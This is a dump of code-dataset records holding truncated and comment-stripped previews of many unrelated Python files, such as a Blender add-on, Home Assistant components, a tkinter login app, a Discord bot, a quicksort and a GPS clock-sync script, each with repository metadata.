] | 22 | 2016-07-05T16:31:37.000Z | 2022-03-12T04:36:32.000Z | CM3D2 Converter/misc_TEXT_HT_header.py | Algester/Blender-CM3D2-Converter | eb1df082ac72aa013dc996427bcee563b1fedaae | [
"Apache-2.0"
] | 3 | 2020-06-07T01:25:47.000Z | 2020-11-20T12:45:49.000Z | CM3D2 Converter/misc_TEXT_HT_header.py | Algester/Blender-CM3D2-Converter | eb1df082ac72aa013dc996427bcee563b1fedaae | [
"Apache-2.0"
] | 9 | 2019-09-15T08:21:21.000Z | 2022-03-12T04:36:35.000Z | #
#
| 37.494444 | 119 | 0.610016 | # 「テキストエディター」エリア → ヘッダー
import bpy
from . import common
from . import compat
# メニュー等に項目追加
def menu_func(self, context):
texts = bpy.data.texts
text_keys = texts.keys()
self.layout.label(text="CM3D2用:", icon_value=common.kiss_icon())
row = self.layout.row(align=True)
if 'BoneData' in text_keys:
... | 744 | 4,456 | 0 | 0 | 0 | 1,864 | 0 | -13 | 180 |
136d26974fe8ec6f8b20b7bb62924a94c94b870e | 6,952 | py | Python | homeassistant/components/media_player/cmus.py | shire210/home-assistant | 63cd8bbee6f1b74ae9c6c249ac820119a8a573d8 | [
"Apache-2.0"
] | 2 | 2017-02-25T00:27:06.000Z | 2017-02-25T03:09:30.000Z | homeassistant/components/media_player/cmus.py | shire210/home-assistant | 63cd8bbee6f1b74ae9c6c249ac820119a8a573d8 | [
"Apache-2.0"
] | 1 | 2017-03-10T22:17:06.000Z | 2017-03-10T22:17:06.000Z | homeassistant/components/media_player/cmus.py | shire210/home-assistant | 63cd8bbee6f1b74ae9c6c249ac820119a8a573d8 | [
"Apache-2.0"
] | 2 | 2018-06-03T11:14:44.000Z | 2018-11-04T18:18:12.000Z | """
Support for interacting with and controlling the cmus music player.
For more details about this platform, please refer to the documentation at
https://home-assistant.io/components/media_player.cmus/
"""
import logging
import voluptuous as vol
from homeassistant.components.media_player import (SUPPORT_NEXT_TRACK... | 31.035714 | 77 | 0.631617 | """
Support for interacting with and controlling the cmus music player.
For more details about this platform, please refer to the documentation at
https://home-assistant.io/components/media_player.cmus/
"""
import logging
import voluptuous as vol
from homeassistant.components.media_player import (
MEDIA_TYPE_MU... | 0 | 1,747 | 0 | 3,344 | 0 | 0 | 0 | 124 | 23 |
729bfaaaa4f5e69da4fae3b06567759718e758f5 | 238 | py | Python | code/utils/__init__.py | niuwk/infonets | 274e97c9a86144dd52cbe90caffff578a2f5d178 | [
"BSD-3-Clause"
] | 8 | 2018-06-20T23:20:43.000Z | 2020-01-12T01:32:06.000Z | code/utils/__init__.py | niuwk/infonets | 274e97c9a86144dd52cbe90caffff578a2f5d178 | [
"BSD-3-Clause"
] | null | null | null | code/utils/__init__.py | niuwk/infonets | 274e97c9a86144dd52cbe90caffff578a2f5d178 | [
"BSD-3-Clause"
] | 4 | 2018-06-26T20:28:13.000Z | 2021-06-17T13:39:56.000Z | from __future__ import absolute_import, division, print_function, unicode_literals
| 19.833333 | 82 | 0.768908 | from __future__ import absolute_import, division, print_function, unicode_literals
from .config import *
from .data import *
from .display import *
from .helper import *
from .methods import *
from .misc import *
from .whiten import *
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | -2 | 155 |
0ae15f7dfa871a72cf29d7ba864765e0b6e824d0 | 5,906 | py | Python | generate_rules.py | denilsonsa/udev-not-joystick | 030ee83f50c0ffb10becf7a3afa847fef3bf810b | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 122 | 2015-10-25T18:03:01.000Z | 2022-03-22T23:32:51.000Z | generate_rules.py | denilsonsa/udev-not-joystick | 030ee83f50c0ffb10becf7a3afa847fef3bf810b | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 36 | 2015-10-25T12:40:37.000Z | 2022-02-13T20:39:16.000Z | generate_rules.py | denilsonsa/udev-not-joystick | 030ee83f50c0ffb10becf7a3afa847fef3bf810b | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | 41 | 2015-10-28T04:34:07.000Z | 2021-12-19T23:51:41.000Z | #!/usr/bin/env python3
# List of tuples ('idVendor', 'idProduct'), as four hexadecimal digits.
DEVICES = [
# Microsoft Microsoft Wireless Optical Desktop 2.10
# Microsoft Wireless Desktop - Comfort Edition
('045e', '009d'),
# Microsoft Microsoft Digital Media Pro Keyboard
# Microsoft Corp. Digital... | 41.886525 | 186 | 0.629529 | #!/usr/bin/env python3
import os.path
import textwrap
# List of tuples ('idVendor', 'idProduct'), as four hexadecimal digits.
DEVICES = [
# Microsoft Microsoft Wireless Optical Desktop® 2.10
# Microsoft Wireless Desktop - Comfort Edition
('045e', '009d'),
# Microsoft Microsoft® Digital Media Pro Keyb... | 22 | 0 | 0 | 0 | 0 | 1,903 | 0 | -13 | 114 |
6bf3de2c08c19066ab234342ae66eb72ed2ff3e6 | 1,517 | py | Python | test/unittests/test_autorest_api.py | qwordy/autorest.python | 6b12df51c2a39a1285546b5a771b69f5896e794f | [
"MIT"
] | 35 | 2018-04-03T12:15:53.000Z | 2022-03-11T14:03:34.000Z | test/unittests/test_autorest_api.py | qwordy/autorest.python | 6b12df51c2a39a1285546b5a771b69f5896e794f | [
"MIT"
] | 652 | 2017-08-28T22:44:41.000Z | 2022-03-31T21:20:31.000Z | test/unittests/test_autorest_api.py | qwordy/autorest.python | 6b12df51c2a39a1285546b5a771b69f5896e794f | [
"MIT"
] | 29 | 2017-08-28T20:57:01.000Z | 2022-03-11T14:03:38.000Z | # -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
| 34.477273 | 76 | 0.630191 | # -------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
# --------------------------------------------------------------------------
from autor... | 0 | 0 | 0 | 0 | 0 | 1,129 | 0 | 33 | 45 |
208b4494095e6039959b5dae0d5bb99bbacfa658 | 1,209 | py | Python | setup.py | tdcosim/SolarPV-DER-simulation-utility | 03fb1cfd4d255117faced84cf61cd5b7ae59f69f | [
"BSD-3-Clause"
] | 16 | 2019-04-09T19:37:38.000Z | 2020-10-31T04:17:37.000Z | setup.py | sibyjackgrove/SolarPV-DER-simulation-utility | 03fb1cfd4d255117faced84cf61cd5b7ae59f69f | [
"BSD-3-Clause"
] | 10 | 2019-07-24T16:40:33.000Z | 2021-02-04T20:31:53.000Z | setup.py | tdcosim/SolarPV-DER-simulation-utility | 03fb1cfd4d255117faced84cf61cd5b7ae59f69f | [
"BSD-3-Clause"
] | 4 | 2019-09-10T20:14:42.000Z | 2020-07-25T23:50:09.000Z | import os
from setuptools import setup
# The text of the README file
f=open(os.path.join(os.path.dirname(os.path.abspath(__file__)),'README.md'))
README=f.read()
f.close()
setup(name='pvder',
version=open("pvder/_version.py").readlines()[-1].split()[-1].strip("\"'"),
packages=['pvder',],
include_pac... | 37.78125 | 112 | 0.634409 | import os
from setuptools import setup
# The text of the README file
f=open(os.path.join(os.path.dirname(os.path.abspath(__file__)),'README.md'))
README=f.read()
f.close()
setup(name='pvder',
version=open("pvder/_version.py").readlines()[-1].split()[-1].strip("\"'"),
packages=['pvder',],
include_pac... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
2e003daec1ca05e555a7434ce8e3784ed2e0b0ae | 11,929 | py | Python | tests/test_zonal.py | andreas-h/python-raster-stats | 41d252c69c4a233ebc60f0569bd8286e9526d3db | [
"BSD-3-Clause"
] | 1 | 2017-10-15T15:52:14.000Z | 2017-10-15T15:52:14.000Z | tests/test_zonal.py | andreas-h/python-raster-stats | 41d252c69c4a233ebc60f0569bd8286e9526d3db | [
"BSD-3-Clause"
] | null | null | null | tests/test_zonal.py | andreas-h/python-raster-stats | 41d252c69c4a233ebc60f0569bd8286e9526d3db | [
"BSD-3-Clause"
] | null | null | null | # test zonal stats
import os
DATA = os.path.join(os.path.dirname(os.path.abspath(__file__)), "data")
raster = os.path.join(DATA, 'slope.tif')
### Different geometry types
# Test multigeoms
## Geo interface
## Categorical
## Utils
| 37.161994 | 346 | 0.672563 | # test zonal stats
import os
import pytest
from osgeo import ogr
from rasterstats import raster_stats, stats_to_csv, RasterStatsError
from rasterstats.main import VALID_STATS
from rasterstats.utils import shapely_to_ogr_type, parse_geo, get_ogr_ds, \
OGRError, feature_to_geojson, bbox_to_p... | 0 | 0 | 0 | 19 | 0 | 10,382 | 0 | 197 | 1,094 |
6d1b5b98c7991420db6dcbac8a7dd1b5def81cfc | 10,802 | py | Python | login_page_first.py | proacc2022/NCDS | 45afffa5c90cd5cc0cf9fc199349c2b6040c37f5 | [
"MIT"
] | null | null | null | login_page_first.py | proacc2022/NCDS | 45afffa5c90cd5cc0cf9fc199349c2b6040c37f5 | [
"MIT"
] | null | null | null | login_page_first.py | proacc2022/NCDS | 45afffa5c90cd5cc0cf9fc199349c2b6040c37f5 | [
"MIT"
] | null | null | null | import tkinter as tk
import tkinter.messagebox
import tkinter.font as tkFont
from PIL import Image, ImageTk
import sqlite3
import datetime
connection = sqlite3.connect('NCD.db')
cursor = connection.cursor()
xtr=str(datetime.datetime.now())
cursor.execute('CREATE TABLE IF NOT EXISTS POLICE(POLICEID TEXT PRI... | 47.79646 | 602 | 0.669413 | from tkinter import *
import tkinter as tk
import tkinter.messagebox
import tkinter.font as tkFont
from PIL import Image,ImageTk
import os
import sqlite3
import datetime
from civilian_home import civ_home
from acp_home import acp_home
from constable_home import const_home
from sys_home import system_home
... | 0 | 0 | 0 | 0 | 0 | 1,993 | 0 | 35 | 238 |
f4d07cab853998e94b41d3ffb56b1ab1d49e28bb | 1,470 | py | Python | clastic/tests/test_static.py | mahmoud/clastic | 4dd03cc25247dcedbb3e0cd1089bef8eefd32bf7 | [
"BSD-3-Clause"
] | 140 | 2015-02-11T19:03:30.000Z | 2022-03-12T23:30:46.000Z | clastic/tests/test_static.py | mahmoud/clastic | 4dd03cc25247dcedbb3e0cd1089bef8eefd32bf7 | [
"BSD-3-Clause"
] | 21 | 2015-09-16T04:33:09.000Z | 2021-11-08T04:46:32.000Z | clastic/tests/test_static.py | mahmoud/clastic | 4dd03cc25247dcedbb3e0cd1089bef8eefd32bf7 | [
"BSD-3-Clause"
] | 22 | 2015-09-15T19:30:06.000Z | 2021-11-05T17:22:20.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import os
_CUR_DIR = os.path.dirname(os.path.abspath(__file__))
| 34.186047 | 109 | 0.664626 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
import os
from clastic import Application, StaticApplication, StaticFileRoute
_CUR_DIR = os.path.dirname(os.path.abspath(__file__))
def test_basic_static_serve():
static_app = StaticApplication(_CUR_DIR)
app = Application([('/static/', static_... | 0 | 0 | 0 | 0 | 0 | 1,223 | 0 | 46 | 69 |
27a69b32835653f5833e413c6df8b6d71ff2add8 | 296 | py | Python | rivalcfg/profiles/rival300csgofadeeditionstm32.py | BenJuan26/rivalcfg | a4b434147d4888aa35287a40b8aa0be9408a28f1 | [
"WTFPL"
] | null | null | null | rivalcfg/profiles/rival300csgofadeeditionstm32.py | BenJuan26/rivalcfg | a4b434147d4888aa35287a40b8aa0be9408a28f1 | [
"WTFPL"
] | 1 | 2020-05-09T06:12:34.000Z | 2020-07-31T23:58:55.000Z | rivalcfg/profiles/rival300csgofadeeditionstm32.py | BenJuan26/rivalcfg | a4b434147d4888aa35287a40b8aa0be9408a28f1 | [
"WTFPL"
] | null | null | null | from .rival300csgofadeedition import rival300csgofadeedition
rival300csgofadeeditionstm32 = {
"name": "SteelSeries Rival 300 CS:GO Fade Edition (stm32)",
"vendor_id": 0x1038,
"product_id": 0x1716,
"interface_number": 0,
"commands": rival300csgofadeedition["commands"],
}
| 21.142857 | 63 | 0.722973 | from .rival300csgofadeedition import rival300csgofadeedition
rival300csgofadeeditionstm32 = {
"name": "SteelSeries Rival 300 CS:GO Fade Edition (stm32)",
"vendor_id": 0x1038,
"product_id": 0x1716,
"interface_number": 0,
"commands": rival300csgofadeedition["commands"],
}
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
1642a81148ba8a39cfb9b6e7eaf0edc2d0068c45 | 2,942 | py | Python | venv/Lib/site-packages/rest_framework/mixins.py | RiccardoCherchi/Barcode-Stock | 699b977fa70ea14a7ac4d33bb7bb2f107aa2ca20 | [
"MIT"
] | null | null | null | venv/Lib/site-packages/rest_framework/mixins.py | RiccardoCherchi/Barcode-Stock | 699b977fa70ea14a7ac4d33bb7bb2f107aa2ca20 | [
"MIT"
] | null | null | null | venv/Lib/site-packages/rest_framework/mixins.py | RiccardoCherchi/Barcode-Stock | 699b977fa70ea14a7ac4d33bb7bb2f107aa2ca20 | [
"MIT"
] | null | null | null | """
Basic building blocks for generic class based views.
We don't bind behaviour to http method handlers yet,
which allows mixin classes to be composed in interesting ways.
"""
| 29.128713 | 89 | 0.670292 | """
Basic building blocks for generic class based views.
We don't bind behaviour to http method handlers yet,
which allows mixin classes to be composed in interesting ways.
"""
from rest_framework import status
from rest_framework.response import Response
from rest_framework.settings import api_settings
class Create... | 0 | 0 | 0 | 2,516 | 0 | 0 | 0 | 62 | 181 |
122e95d4baae685b706171f2dece5179f5075bb8 | 1,448 | py | Python | python_code/vnev/Lib/site-packages/jdcloud_sdk/services/iam/models/PasswordPolicy.py | Ureimu/weather-robot | 7634195af388538a566ccea9f8a8534c5fb0f4b6 | [
"MIT"
] | 14 | 2018-04-19T09:53:56.000Z | 2022-01-27T06:05:48.000Z | python_code/vnev/Lib/site-packages/jdcloud_sdk/services/iam/models/PasswordPolicy.py | Ureimu/weather-robot | 7634195af388538a566ccea9f8a8534c5fb0f4b6 | [
"MIT"
] | 15 | 2018-09-11T05:39:54.000Z | 2021-07-02T12:38:02.000Z | python_code/vnev/Lib/site-packages/jdcloud_sdk/services/iam/models/PasswordPolicy.py | Ureimu/weather-robot | 7634195af388538a566ccea9f8a8534c5fb0f4b6 | [
"MIT"
] | 33 | 2018-04-20T05:29:16.000Z | 2022-02-17T09:10:05.000Z | # coding=utf8
# Copyright 2018 JDCLOUD.COM
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... | 36.2 | 114 | 0.70511 | # coding=utf8
# Copyright 2018 JDCLOUD.COM
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... | 300 | 0 | 0 | 656 | 0 | 0 | 0 | 0 | 23 |
346c9fbe4b8cd7d6a72238b1d822157888c23cd2 | 1,299 | py | Python | sorting/quicksort.py | nipuntalukdar/algodatasructs | a50058f355115b4d45864a04e0e0aa492f006d18 | [
"MIT"
] | null | null | null | sorting/quicksort.py | nipuntalukdar/algodatasructs | a50058f355115b4d45864a04e0e0aa492f006d18 | [
"MIT"
] | null | null | null | sorting/quicksort.py | nipuntalukdar/algodatasructs | a50058f355115b4d45864a04e0e0aa492f006d18 | [
"MIT"
] | null | null | null |
if __name__ == '__main__':
import random
j = 1
while j <= 1000:
x = [random.randint(0,999999999999) for i in range(0,j)]
y = [a for a in x]
z = [a for a in x]
y.sort()
quick_sort(x, 0, len(x) - 1)
if y != x:
print("Sorting failed for {}".format(z)... | 27.0625 | 64 | 0.461894 | def quick_sort(arr, start, end):
if start == end:
return
if end - start == 1:
if arr[start] > arr[end]:
arr[end], arr[start] = arr[start],arr[end]
return
i = start + 1
j = end
pivot = arr[start]
while i <= j:
if arr[i] <= pivot:
i += 1
... | 0 | 0 | 0 | 0 | 0 | 867 | 0 | 0 | 22 |
f4ea2628c2086ae731105fbb0a4174a279be290e | 4,940 | py | Python | qqbot/core/network/ws/ws_intents_handler.py | tencent-connect/botpy | 275f96f0859b63110b095711838c738ad6a9cc1e | [
"MIT"
] | 63 | 2021-12-27T05:55:07.000Z | 2022-03-28T12:28:53.000Z | qqbot/core/network/ws/ws_intents_handler.py | tencent-connect/botpy | 275f96f0859b63110b095711838c738ad6a9cc1e | [
"MIT"
] | 9 | 2022-01-06T03:33:30.000Z | 2022-03-27T10:49:36.000Z | qqbot/core/network/ws/ws_intents_handler.py | tencent-connect/botpy | 275f96f0859b63110b095711838c738ad6a9cc1e | [
"MIT"
] | 12 | 2021-12-31T07:46:12.000Z | 2022-03-28T13:34:09.000Z | # -*- coding: utf-8 -*-
def register_handlers(handlers):
"""
RegisterHandlers intent websocket
"""
intent = 0
for handler in handlers:
call_handler = intent_handler_dict.get(handler.type.value)
intent = intent | call_handler(handler.callback, intent)
return intent
... | 31.666667 | 95 | 0.777328 | # -*- coding: utf-8 -*-
from enum import Enum
from qqbot.core.network.ws.ws_event import WsEvent
from qqbot.core.network.ws.ws_handler import DefaultHandler
class Handler:
def __init__(self, handler_type, callback):
self.type = handler_type
self.callback = callback
def register_handlers(handle... | 45 | 0 | 0 | 562 | 0 | 2,520 | 0 | 67 | 413 |
6a5b7b85e25ad6e52a7e2f33c9b07580428c05e1 | 210 | py | Python | dmk/b_cryptoblobs/__init__.py | rtmigo/ksf_py | 63be2af622181e8c2bbe4b318f4b780a38ee6606 | [
"MIT"
] | 2 | 2021-06-22T18:24:42.000Z | 2021-10-04T12:03:04.000Z | dmk/b_cryptoblobs/__init__.py | rtmigo/ksf_py | 63be2af622181e8c2bbe4b318f4b780a38ee6606 | [
"MIT"
] | null | null | null | dmk/b_cryptoblobs/__init__.py | rtmigo/ksf_py | 63be2af622181e8c2bbe4b318f4b780a38ee6606 | [
"MIT"
] | 1 | 2021-06-20T04:04:51.000Z | 2021-06-20T04:04:51.000Z | # SPDX-FileCopyrightText: (c) 2021 Artm IG <github.com/rtmigo>
# SPDX-License-Identifier: MIT
| 30 | 71 | 0.82381 | # SPDX-FileCopyrightText: (c) 2021 Artёm IG <github.com/rtmigo>
# SPDX-License-Identifier: MIT
from ._20_encdec_part import DecryptedIO
from ._30_encdec_multipart import MultipartEncryptor, decrypt_from_dios
| 2 | 0 | 0 | 0 | 0 | 0 | 0 | 69 | 45 |
f29f5bf6f7181d82bf8e1b8f19f689662b5e9ef0 | 97 | py | Python | mort/__init__.py | brycepg/mort | 9d79144ff2fcd68af96b8140ab6d42a6a0e83abc | [
"MIT"
] | 2 | 2019-08-01T15:04:49.000Z | 2021-04-18T01:11:09.000Z | mort/__init__.py | brycepg/mort | 9d79144ff2fcd68af96b8140ab6d42a6a0e83abc | [
"MIT"
] | null | null | null | mort/__init__.py | brycepg/mort | 9d79144ff2fcd68af96b8140ab6d42a6a0e83abc | [
"MIT"
] | null | null | null | """Automatically run post mortem debugging"""
__version__ = "0.9.1"
| 19.4 | 45 | 0.721649 | """Automatically run post mortem debugging"""
from .mort import main, run
__version__ = "0.9.1"
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 | 22 |
fd2dc8edc7e3699bebcc9491b9169fabae740d5a | 22,860 | py | Python | claimgen_entity.py | allenai/scientific-claim-generation | 4b8890e2fbeab443cde43f8f49ba989f8e183a61 | [
"Apache-2.0"
] | 6 | 2022-03-24T04:17:30.000Z | 2022-03-30T17:34:24.000Z | claimgen_entity.py | allenai/scientific-claim-generation | 4b8890e2fbeab443cde43f8f49ba989f8e183a61 | [
"Apache-2.0"
] | null | null | null | claimgen_entity.py | allenai/scientific-claim-generation | 4b8890e2fbeab443cde43f8f49ba989f8e183a61 | [
"Apache-2.0"
] | null | null | null | import argparse
import random
import torch
import spacy
import json
import os
import pandas as pd
from tqdm import tqdm
from datasets import Dataset
from functools import partial
from custom_trainer import CustomTrainer
from collections import defaultdict
from scipy.special import softmax
from spacy.util import minibat... | 42.022059 | 133 | 0.646588 | import argparse
import random
import numpy as np
import torch
import spacy
import scispacy
import json
import os
import pandas as pd
from spacy.training import Example
from tqdm import tqdm
from datasets import Dataset
from functools import partial
from custom_trainer import CustomTrainer
import ipdb
from collections ... | 0 | 0 | 0 | 0 | 71 | 463 | 0 | 126 | 161 |
e9db867e258c76d19aa20449fdb22216123194fa | 94 | py | Python | azkaban-jobtype-{{cookiecutter.project_name.lower()}}/auror_azkaban_jobtype_{{cookiecutter.project_name.lower()}}/auror_azkaban_jobtype_{{cookiecutter.project_name.lower()}}/v2/params.py | globocom/azkaban-jobtype-cookiecutter | f586441d990493734c663d26b0f6b54984ccc945 | [
"MIT"
] | null | null | null | azkaban-jobtype-{{cookiecutter.project_name.lower()}}/auror_azkaban_jobtype_{{cookiecutter.project_name.lower()}}/auror_azkaban_jobtype_{{cookiecutter.project_name.lower()}}/v2/params.py | globocom/azkaban-jobtype-cookiecutter | f586441d990493734c663d26b0f6b54984ccc945 | [
"MIT"
] | null | null | null | azkaban-jobtype-{{cookiecutter.project_name.lower()}}/auror_azkaban_jobtype_{{cookiecutter.project_name.lower()}}/auror_azkaban_jobtype_{{cookiecutter.project_name.lower()}}/v2/params.py | globocom/azkaban-jobtype-cookiecutter | f586441d990493734c663d26b0f6b54984ccc945 | [
"MIT"
] | null | null | null | from auror_core.v2.params import Params
class {{cookiecutter.project_name}}(Params):
pass | 23.5 | 44 | 0.776596 | from auror_core.v2.params import Params
class {{cookiecutter.project_name}}(Params):
pass | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
a6e19736a54a93a571242f4a476a7420ab121d6e | 1,162 | py | Python | mywayback.py | jsyk/mywayback | df007383db01dd0cde3434ea9426e1decb211308 | [
"MIT"
] | null | null | null | mywayback.py | jsyk/mywayback | df007383db01dd0cde3434ea9426e1decb211308 | [
"MIT"
] | null | null | null | mywayback.py | jsyk/mywayback | df007383db01dd0cde3434ea9426e1decb211308 | [
"MIT"
] | null | null | null | import sys
from os import path
import time
from configure import Configure
from scanner import Scanner
from checker import Checker
from taker import Taker
print("** Welcome to MyWayback! **")
args = sys.argv[1:]
if len(args) == 0:
print("ERROR: Missing command-line argument!")
exit(0)
targetbasedir = args[0]
pri... | 22.784314 | 79 | 0.724613 | import sys, getopt
from os import path
import time
from configure import Configure
from scanner import FoundFile, Scanner
from checker import Checker
from taker import Taker
print("** Welcome to MyWayback! **")
args = sys.argv[1:]
if len(args) == 0:
print("ERROR: Missing command-line argument!")
exit(0)
targetba... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 19 | 0 |
ffb2de928830135b7881a885266b8f6b7bc6914f | 2,321 | py | Python | woodblock/scenario.py | fkie-cad/woodblock | ac4a590744021540fc7388765629bf3367f89e2e | [
"MIT"
] | 8 | 2019-08-14T08:57:21.000Z | 2022-02-18T01:35:24.000Z | woodblock/scenario.py | fkie-cad/woodblock | ac4a590744021540fc7388765629bf3367f89e2e | [
"MIT"
] | 1 | 2020-01-24T23:38:36.000Z | 2020-02-27T14:00:59.000Z | woodblock/scenario.py | fkie-cad/woodblock | ac4a590744021540fc7388765629bf3367f89e2e | [
"MIT"
] | 2 | 2019-08-22T15:30:53.000Z | 2020-01-24T23:11:34.000Z | """This module contains file carving scenario related classes and functions."""
| 29.379747 | 100 | 0.612236 | """This module contains file carving scenario related classes and functions."""
from multimethod import multimethod
import woodblock.fragments
class Scenario(list):
"""This class represents a file carving scenario.
A scenario contains fragments in a certain order.
Args:
name: The name of the s... | 0 | 1,660 | 0 | 492 | 0 | 0 | 0 | 19 | 69 |
4c531e2c199cc4a3c924b62cbb1447d4a462d527 | 490 | py | Python | webdev/users/urls.py | h-zanetti/real-estate-manager | a526cfccf9589629c03ac7e3afe760ade0e48b7d | [
"MIT"
] | null | null | null | webdev/users/urls.py | h-zanetti/real-estate-manager | a526cfccf9589629c03ac7e3afe760ade0e48b7d | [
"MIT"
] | 22 | 2021-04-23T19:03:10.000Z | 2021-08-13T14:57:37.000Z | webdev/users/urls.py | h-zanetti/real-estate-manager | a526cfccf9589629c03ac7e3afe760ade0e48b7d | [
"MIT"
] | null | null | null | from django.urls import path
from . import views
from django.contrib.auth import views as auth_views
urlpatterns = [
path('registro/', views.registro, name='registro'),
path('login/', auth_views.LoginView.as_view(template_name='users/login.html'), name='login'),
path('logout/', auth_views.LogoutView.as_vie... | 44.545455 | 97 | 0.732653 | from django.urls import path
from . import views
from django.contrib.auth import views as auth_views
urlpatterns = [
path('registro/', views.registro, name='registro'),
path('login/', auth_views.LoginView.as_view(template_name='users/login.html'), name='login'),
path('logout/', auth_views.LogoutView.as_vie... | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
b47cac1ac9a109cefa86744f5d3542882c843b14 | 1,557 | py | Python | setup.py | SYAN83/pytorch-learn | f734baf0b837d7c87647ab43ca5de9248849dfa9 | [
"MIT"
] | null | null | null | setup.py | SYAN83/pytorch-learn | f734baf0b837d7c87647ab43ca5de9248849dfa9 | [
"MIT"
] | 1 | 2019-02-24T07:39:02.000Z | 2019-02-24T07:39:02.000Z | setup.py | SYAN83/pytorch-learn | f734baf0b837d7c87647ab43ca5de9248849dfa9 | [
"MIT"
] | null | null | null | from setuptools import setup
APP_NAME = 'ptlearn'
VERSION = '0.1'
if __name__ == '__main__':
check_version()
setup(
name=APP_NAME,
version=VERSION,
description='A Python machine learing library, based on PyTorch',
long_description=readme(),
classifiers=[
... | 27.315789 | 73 | 0.558125 | from setuptools import setup
import re
APP_NAME = 'ptlearn'
VERSION = '0.1'
def readme():
with open('README.rst', 'r') as f:
return f.read()
def check_version():
global VERSION
# Get the version
version_regex = r'__version__ = ["\']([^"\']*)["\']'
with open('ptlearn/__init__.py', 'r') ... | 0 | 0 | 0 | 0 | 0 | 399 | 0 | -12 | 68 |
cdac9df18ec3645f342e324f40f6ff8659093533 | 6,170 | py | Python | utility/gps_and_states.py | mafavaron/MeteoFlux | a2fc66aac1faa97f12e07fba9bb3ef8aea60b5d7 | [
"MIT"
] | null | null | null | utility/gps_and_states.py | mafavaron/MeteoFlux | a2fc66aac1faa97f12e07fba9bb3ef8aea60b5d7 | [
"MIT"
] | null | null | null | utility/gps_and_states.py | mafavaron/MeteoFlux | a2fc66aac1faa97f12e07fba9bb3ef8aea60b5d7 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# Task to maintain system RTC aligned with GPS time, coming from a
# Teltonka RUT955 terminal.
import socket
import sys
import time
import logging
import logging.handlers
if __name__ == "__main__":
logger = logging.getLogger('GPS_Task')
logger.setLevel(logging.DEBUG)
handler = logg... | 25.92437 | 156 | 0.643598 | #!/usr/bin/python
# Task to maintain system RTC aligned with GPS time, coming from a
# Teltonka RUT955 terminal.
import socket
import sys
import time
import os
import logging
import logging.handlers
def getIP():
IP = [(s.connect(('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_IN... | 0 | 0 | 0 | 0 | 0 | 3,200 | 0 | -12 | 184 |
683ac887e86d6f1048221167834abc61df55b5d0 | 4,495 | py | Python | bot.py | FightMan01/discord-feladat-r-gz-t- | 65f0f29247fa0b34ec7753e763a81c3f5e35c048 | [
"MIT"
] | 1 | 2020-04-28T07:25:40.000Z | 2020-04-28T07:25:40.000Z | bot.py | FightMan01/discord-feladat-rogzito | 65f0f29247fa0b34ec7753e763a81c3f5e35c048 | [
"MIT"
] | null | null | null | bot.py | FightMan01/discord-feladat-rogzito | 65f0f29247fa0b34ec7753e763a81c3f5e35c048 | [
"MIT"
] | null | null | null | import discord
from discord.ext import commands
import json
client = commands.AutoShardedBot(command_prefix=".")
Client = discord.Client()
client.remove_command('help')
with open("adat.json") as f:
adat = json.load(f)
client.run("TOKEN")
| 38.09322 | 153 | 0.576418 | import discord
from discord.ext import commands, tasks
import asyncio
import time
import datetime
import json
import aiohttp
import os
from discord import Webhook, AsyncWebhookAdapter
client = commands.AutoShardedBot(command_prefix=".")
Client = discord.Client()
client.remove_command('help')
with open("adat.json") as... | 166 | 2,372 | 1,534 | 0 | 0 | 0 | 0 | -8 | 270 |
2f7166295fc0fb168bd8d66ddd176c29ddcd09f4 | 16,491 | py | Python | out/manticoresearch-python/manticoresearch/api/search_api.py | mihaj/openapi | 29e878b0be1218a897c4c86bf9d8d51f4d1a3e57 | [
"MIT"
] | null | null | null | out/manticoresearch-python/manticoresearch/api/search_api.py | mihaj/openapi | 29e878b0be1218a897c4c86bf9d8d51f4d1a3e57 | [
"MIT"
] | 3 | 2021-12-21T08:18:48.000Z | 2022-03-24T10:50:37.000Z | out/manticoresearch-python/manticoresearch/api/search_api.py | mihaj/openapi | 29e878b0be1218a897c4c86bf9d8d51f4d1a3e57 | [
"MIT"
] | 5 | 2021-12-11T06:10:14.000Z | 2022-03-18T11:05:24.000Z | # coding: utf-8
# Manticore Search Client
# Copyright (c) 2020-2021, Manticore Software LTD (https://manticoresearch.com)
#
# All rights reserved
#
from __future__ import absolute_import
# python 2 and python 3 compatibility library
| 51.214286 | 918 | 0.608271 | # coding: utf-8
# Manticore Search Client
# Copyright (c) 2020-2021, Manticore Software LTD (https://manticoresearch.com)
#
# All rights reserved
#
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from six.moves.urllib.parse import quote
fro... | 0 | 0 | 0 | 15,998 | 0 | 0 | 0 | 94 | 149 |
d5892abdd9874781d3c8a04d059d2d242933ccc9 | 8,217 | py | Python | sciencebeam_judge/utils/fuzzy.py | elifesciences/sciencebeam-judge | 357f1b4266674611b24371224468db268ed4574e | [
"MIT"
] | null | null | null | sciencebeam_judge/utils/fuzzy.py | elifesciences/sciencebeam-judge | 357f1b4266674611b24371224468db268ed4574e | [
"MIT"
